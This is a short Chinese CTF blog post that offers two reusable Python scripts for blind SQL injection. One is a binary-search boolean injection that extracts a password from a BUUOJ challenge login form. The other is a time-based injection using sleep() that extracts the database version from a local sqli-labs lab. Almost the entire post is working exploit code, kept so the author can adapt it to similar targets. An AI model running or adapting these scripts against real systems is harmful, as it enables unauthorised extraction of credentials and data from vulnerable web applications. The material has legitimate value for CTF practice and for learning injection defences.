sql之python脚本注入

ctf sql

Word count: 513Reading time: 2 min

 2020/11/06  28  Share

0x01 前言

之所以记录下来是不想再看到相似的题目重新写脚本了，直接用改改数据就好了

0x02 二分法布尔注入

import urllib.parse
import requests
url = "http://b55b8d41-e118-469f-b96e-86b3569754ea.node3.buuoj.cn/index.php"
#保持session
session = requests.session()
#定义http的header
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4\
240.183 Safari/537.36",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,\
           application/signed-exchange;v=b3;q=0.9",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "zh-CN,zh=0.9",
           "Cookie": "UM_distinctid=175e50a9b5583-0f2389e7fe1245-930346c-149c48-175e50a9b56647",
           "Content-Type": "application/x-www-form-urlencoded"}
data = "username=admin\&password=^if(ascii(substr(password,{a},1))>{b},1,0)#"
result = ""
i = 0

#当程序作为主程序调用时启用
if __name__ =="__main__":
    #经典二分法
    while True:
        start = 32
        end = 127
        i+=1
        while start < end:
            mid = (start + end) >> 1
            data1 = data.format(a=i, b=mid)
            # print(data1)
            r = session.post(url=url, headers=headers, data=data1)
            if "stronger" not in r.text:
                start = mid + 1
            else:
                end = mid

        if start != 32:
            result += chr(start)
        print(result)

0x03 二分法基于时间的注入

import urllib.parse
import requests
url = "http://localhost/sqli-labs/Less-15/"
#保持session
session = requests.session()
#定义http的header
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4\
240.183 Safari/537.36",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,\
           application/signed-exchange;v=b3;q=0.9",
           "Accept-Encoding": "gzip, deflate",
           "Accept-Language": "zh-CN,zh=0.9",
           "Content-Type": "application/x-www-form-urlencoded"}
data = "uname=admin'/**/and/**/if(ascii(substr(version(),{},1))>{},sleep(3),1)#&passwd=1&submit=Submit"
version = ""

#当程序作为主程序调用时启用
if __name__ =="__main__":
    count = 0
    #经典二分法
    while True:
        start = 32
        end = 128
        mid = (start + end) // 2
        while start < end:
            mid = (start + end) // 2
            try:
                r = session.post(url=url, headers=headers, data=data.format(count, mid),timeout=1)
                print(r.request.body)
                end = mid
            except:
                start = mid +1
        version += chr(start)
        print(version)
        count += 1